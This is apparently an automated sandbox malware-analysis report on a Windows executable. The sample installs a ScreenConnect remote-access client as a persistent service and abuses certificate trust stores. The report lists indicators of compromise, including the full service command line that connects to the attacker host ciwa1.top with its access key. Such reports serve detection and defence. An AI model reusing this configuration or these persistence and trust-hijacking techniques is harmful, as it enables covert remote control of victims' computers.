b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b

Analysis

max time kernel
88s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
07/03/2024, 19:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Size

84KB
MD5

56177e87c4e684efe7fcdd9f0a143765
SHA1

5e8af71204c42ce90b7aab50e2c96681520c1a69
SHA256

b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b
SHA512

681bede282a4f9ccb4a926013081d4888e3581873cc3374a71884fcb42d815f5cebce404a3bbfb061b943da43bd31f77b28f5d0c6bb47a82f49364fcf08475ee
SSDEEP

1536:+azWlKzJVcNp++yQNS6xNNCT2l8NE8llbpTaCJRpsWr6cdaQTJSvYYS7Q8xg:yFNpo6rIKlUE8fbkqRfbaQlaYYSg

Score

8^/10

persistence

Malware Config

Signatures

Downloads MZ/PE file

Manipulates Digital Signatures 1 TTPs 4 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	b3c302e71dd1fecbfa70ac49d1a0b3bc773d4c8173fa2b5c25d5e547ce36d39b.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (5663c039-6d9c-4534-b990-d1e4b12e0235)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\VQYBZRZ1.O3H\\0O08WJRQ.QMN\\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=ciwa1.top&p=8041&s=5663c039-6d9c-4534-b990-d1e4b12e0235&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA%2fCYe6FcO4UeZhL4%2fvT%2fNCQAAAAACAAAAAAAQZgAAAAEAACAAAADgRNsUiZW50kapRidP4ln1%2f7Hcx1Ay9J3DM3bB%2fwOiBwAAAAAOgAAAAAIAACAAAACrTBfCIIW0HQ%2bJ95v4G%2bzoE5DFeJpQq6uFxyuNJsnk6KAEAAANfXUqh8Ok359MYAuF0S0nH1XxQCzkyXclSoudZ4rl5gce%2bqlX9ZXQlqS%2brBwPhSB1ze07pmMSK%2fKHluqAqGu3RseKU0VSHHg5yeOH%2fvWqkX02xUCpvUIy7K269mI7OQaFqZEbS9nEaa6BD0PAYhmpcUfdvI9Baz9ng0xLqA%2blCELRaOV8pHfg73hr%2faqRk14C8jqFVZUC7AfqZefJAM%2fFhj4BZj9BdQr1BPWIvSxrtmKRuENc114gjjo7NXTreSah%2bVpTZQST0akW%2bUj%2brmo0vyy6oYimOUhEBl1uQGgXEXRNBpGZsx%2bgH%2bobzbs4PSwMjhWhAnAp2fpyAM81RTdmLm27%2bszQcZXKPEFWflHxEw0GlEAt45mZ6NECP56srfJ%2buZZuHVNyKXLkGn0zxNRkb1Gg%2bSVVG43Lm754a4C1Mtun%2bixnJzCjCxl9P59ejJ9W9maJ%2bzjub6GCMEAeb3wuUhohsU8Bprj%2bskgjIXvz4xY76Ib6UzLb7ZcmdVe56XGKM8jF50%2bPPWVxOU%2f8kjk%2fchXuVbVDk8BpwWtFwYV246iWWy9QfbxIr1TgGP1XBZ7Qld3H5HIZynajqWkJesSvtdX7WP25PCG0lBLGYIu9PkR9bKCsQcHJlcqq%2bPhg8bAiNMCc%2bDFhDHZDN3yzuec3jHbwIBnbu9e1KSSjWWWKRQmPvPbu5S%2bk9U2qhcH5%2b1C1uszp7OdVUhJMc4dtPGfPDQtl0u3z%2bkt%2f1seX2wrPv%2bGLPKXPibqjGzNAWApsZTYay%2bQ0Row3aEXpainl4ObSagUNsJt5JR7lKpRInMVtSvaioBAZVekmc%2fHCydZf8WlqPIv7trI%2bhLCQz8jMnb4tBxGY1HaHtIF8BxW96sws5u1hLzgg%2fLAPNlA10k%2bPXavGTI7kYMjYDWXGu6AGkrMRDfshuO2hW9y2YbdNpTS0woUQjBWzQ3WovRvaf97ighrgGOXX%2bjZCLv2wP366bKJmPD3i7sCWnuiZJ1AqWX0ep7vnVi%2bCGWgH5f3naVWbxe0AY3alHjCpcg17JTmkpO0bqhngknx1O7Ohne9GDCM4ddZ6%2bwSgN8qm4iVOYDDmdHHQ3XoWAYveEU8gU7NpqLFuHitv3zW4ghBko4JU62V88BM7AjwbNtbHdhPjh7pj0pYyg7iMdZc%2bhBSGDMzzF7Iv4PDwOQw%2fM5BO2u8hmJ5OCd89Xly0%2bMpsz3UgXmdmzLUJut8hAA9uOBmL6fE%2fktSXF73TwdwJb5SaleV%2b0agsQecLoUBQZqVN1Vw3H0t7oDNMW5UQYv7uHJBKRSpPUoBTd3t%2fWkvIRTp8hjo%2bnqK5RyZhBU3UTTxUAF9%2byb61Dqq6UYLxnW3AEMfce28WAv56EZ8nf7jeDYDt8mykQBNUD1lqhBgASv0rIEFAXxFep1mJ3NAY%2fhKSI4zL65nbjhQKdkh0zDB%2bS2IheYODezSq6IyO0qhuY6Gwk%2flJzVnJmIY5ImNM2vYGZMMnvBbvFulwbnGpL9mog3WXDjxnnoAvgFNWjid%2fZ%2bvWzVG2l2YO7MteQd63MzyoN5yMlKt2IhCU0B6RdQ%2fTx94LogmZc9ZsGEAAAADZNaNEhygxl0FrTM3u%2f6FxEwCiWQQjCr3pz4WipyD8DsU4LsLsU6QUb6Ls6lLpqfH8RMZt31q8oz2Ck%2f%2b%2byPLU&r=&i=ard-hemali%20raval-james-1-3-2024\" \"1\""	ScreenConnect.ClientService.exe

Executes dropped EXE 4 IoCs

pid	Process
2888	ScreenConnect.WindowsClient.exe
916	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3648	ScreenConnect.WindowsClient.exe

Loads dropped DLL 16 IoCs

pid	Process
916	ScreenConnect.ClientService.exe
916	ScreenConnect.ClientService.exe
916	ScreenConnect.ClientService.exe
916	ScreenConnect.ClientService.exe
916	ScreenConnect.ClientService.exe
916	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe
3104	ScreenConnect.ClientService.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 30003000300031002f00300031002f00300031002000300030003a00300030003a00300030000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\DigestMethod = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0011fbbd\identity = 53637265656e436f6e6e6563742e436c69656e742c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\Files\ScreenConnect.WindowsBackstageShell.exe_8 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Visibility	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\Files\ScreenConnect.Core.dll_b96889d378047e27 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "VQYBZRZ1O3H0O08WJRQQMNTX"	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\lock!0e0000008065570e480b0000f0130000000000000000000 = 30303030306234382c30316461373063396231643766653463	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\SizeOfStronglyNamedComponent = 3c2e080000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_8c008e602f65b65d\LastRunVersion = 68747470733a2f2f63697761312e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0009_d53e517fe1a71202\implication!scre..tion_25b0fbb6ef7eb094_0017.0009_fc47141 = 68747470733a2f2f63697761312e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 0000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_fc47141365ebe6b7\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c3 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\Transform = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0011fbbd\Files	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "ZBL6D6LMB6Y2ZO0RG460EYLZ"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0011fbbd\lock!0e0000000365570e580b00006c0e0000000000000000000 = 30303030306235382c30316461373063396164616166613264	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 68747470733a2f2f63697761312e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\implication!scre..tion_25b0fbb6ef7eb094_0017.0009_fc = 68747470733a2f2f63697761312e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
